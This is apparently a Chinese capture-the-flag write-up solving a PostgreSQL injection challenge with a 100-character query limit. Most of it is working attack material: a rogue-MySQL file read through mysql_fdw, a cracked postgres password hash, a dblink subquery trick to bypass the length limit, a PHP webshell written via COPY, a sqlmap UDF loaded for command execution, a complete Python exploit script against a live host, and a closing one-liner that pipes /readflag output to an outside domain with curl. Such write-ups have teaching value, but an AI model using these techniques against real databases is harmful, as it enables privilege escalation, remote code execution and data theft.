痛失一血的题…膜猫哥,黑客竟在我身边.jpg
题目代码很简单,可以执行任意 sql 语句,唯一的限制是语句长度小于100。但由于数据库 user 没有 superuser 权限,所以无法执行命令。
<?php
error_reporting(0);
if(!$sql=(string)$_GET["sql"]){
show_source(__FILE__);
die();
}
header('Content-Type: text/plain');
if(strlen($sql)>100){
die('That query is too long ;_;');
}
if(!pg_pconnect('dbname=postgres user=realuser')){
die('DB gone ;_;');
}
if($query = pg_query($sql)){
print_r(pg_fetch_all($query));
} else {
die('._.?');
}
题目还给了附件 Dockerfile ,注意到安装 pgsql 时还安装了插件
RUN apt-get install -y postgresql-10 postgresql-10-mysql-fdw apache2 libapache2-mod-php php-pgsql curl
这个 postgresql-10-mysql-fdw 是什么东西呢,查询到了项目地址
https://github.com/EnterpriseDB/mysql_fdw
根据项目说明,知道这是用来把 Mysql 表映射到 pgsql 中并可以对其进行增删查改的插件, README 中还给了使用示例:
-- create server object
CREATE SERVER mysql_server
FOREIGN DATA WRAPPER mysql_fdw
OPTIONS (host '127.0.0.1', port '3306');
很容易想到既然插件可以连接 Mysql ,那应该存在任意文件读取,在 vps 上跑 rogue-mysql-server 测试:
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'47.95.219.135',port'3306');
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
果然可以,但是任意文件读取如何进一步利用呢?
再次观察题目环境,发现除了 mysql_fdw 之外,还开了另一个插件
CREATE EXTENSION dblink; CREATE EXTENSION mysql_fdw;
这个 dblink 又是什么呢,查询到手册:
https://www.postgresql.org/docs/10/contrib-dblink-function.html
根据手册可知,此函数可以用来在语句中再发起一个连接,并在这个连接上执行语句并返回结果。那么容易想到是否可以使用此函数登录默认有 superuser 权限的 postgres 用户,就可以进一步提权。
首先想到的是看看此用户有没有设置密码,查看 Docker 环境的 start.sh 发现
su postgres -c "psql -c 'ALTER USER postgres WITH ENCRYPTED PASSWORD \$\$`head /dev/urandom | tr -dc '0-9a-z' | fold -w 5 | head -n1`\$\$;'"
是设置了密码的,但是只有值为 [0-9a-z] 的5位,总共只有6千万种可能。但是由于题目环境10分钟重置一次,所以应该不可能远程爆破出来。但我们此时有一个任意文件读的漏洞,如果可以在某个文件中读取到密码,即使是加密的,在本地也是极有可能爆破出来的。
如何找到这个文件呢?一开始我以为会不会有某个配置文件保存密码,然而谷歌了很久都没用结果。然后我发现其实 pgsql 和 mysql 一样都会把用户密码存在表里,pgsql 是 pg_shadow 表,那么也许直接读取数据库落盘文件可以得到。
首先确定数据库的落盘文件保存在哪
然后直接在其中进行 grep 暴搜
其实有多条结果,但幸运的是,第一条结果就是我们想要的
可以看到密码似乎进行了 md5 ,谷歌到了 hash 规则:
md5(password+username)
于是本地进行爆破,果然很快就可以得到结果:
有了密码,接下来就是如何使用 superuser 执行命令了。这个时候发现由于语句限制了长度,所以很多语句执行不了,要想办法绕过长度限制。
这里我必须吐槽一下 pgsql 的文档,官方文档居然还能前后矛盾…
一开始我看到文档给的示例
https://www.postgresql.org/docs/10/plpgsql-statements.html
于是想到可以先把 payload 写进表里,再
EXECUTE (SELECT payload from payload)
即可执行任意长度的语句
但是实际测试和进一步阅读指令的文档发现, EXECUTE 指令后面在新版本已经不能接字符串了(前后自相矛盾的文档…),必须接 PREPARE 指令编译的语句,而 PREPARE 指令编译的语句也不能是字符串,所以并不能达到动态执行的效果。
https://www.postgresql.org/docs/10/sql-execute.html
https://www.postgresql.org/docs/10/sql-prepare.html
这条路不通了,那只能再换条路,但是思路还是找一个可以用子查询代替字符串来缩减长度的地方。
我们想要执行的语句大概是:
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<[email protected]($_REQUEST[1]);?>$$) to $$/var/www/html/f1sh233.php$$;') as t1(record text);
长达173,差不多超出了一倍的长度限制。
但是语句中有两处字符串,这两处其实都可以用子查询来替换
SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
长度为94,绕过了限制。
于是我们现在可以把 payload 存入自己的 Mysql 表中,再通过 mysql_fdw 插件映射到题目数据库里,再 select 出来即可执行任意长度语句,不再受任何限制。
最后是执行命令,因为我对 pgsql 不太熟悉,所以使用了最容易查到的 udf 方式。
udf 使用的是 sqlmap 的:
https://github.com/sqlmapproject/udfhack/tree/master/linux/lib_postgresqludf_sys
编译后通过以下语句加载并执行:
SELECT lo_create(7665);
insert into pg_largeobject values (7665, 0, decode('...','hex'));
insert into pg_largeobject values (7665, 1, decode('...','hex'));
...
SELECT lo_export(7665, '/tmp/testeval.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
SELECT sys_eval('/readflag');
把这些语句写入到表里,最后的 exp 为
import requests
url = "http://54.219.197.26:60080/"
payload = [
"CREATE SERVER f2sh FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'47.95.219.135',port'3306');",
"CREATE USER MAPPING FOR realuser SERVER f2sh OPTIONS (username 'root', password 'root');",
"CREATE FOREIGN TABLE c(b int,a text) SERVER f2sh OPTIONS (dbname 'a', table_name 'a');",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=3)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=4)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=5)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=6)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=7)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=8)) as t1(a text);",
"SELECT * FROM dblink((select a from c where b=1), (select a from c where b=9)) as t1(a text);",
"select sys_eval('/readflag');"
]
for i in payload:
r = requests.get(url, params={"sql": i})
print(r.content)
赛后和猫哥交流了一下,其实执行命令并不需要这么麻烦,只需要一句
SELECT dblink('host=0 password=xxxxx','copy(select)to program''curl your.domain.here/`/readflag`''')
小丑竟是我自己.jpg
2021重归博客的鱼
2021重归博客的鱼
2021重归博客的鱼
2021重归博客的鱼
兄弟能不能加一个友链?https://b23.tv/CVup0S
可以捏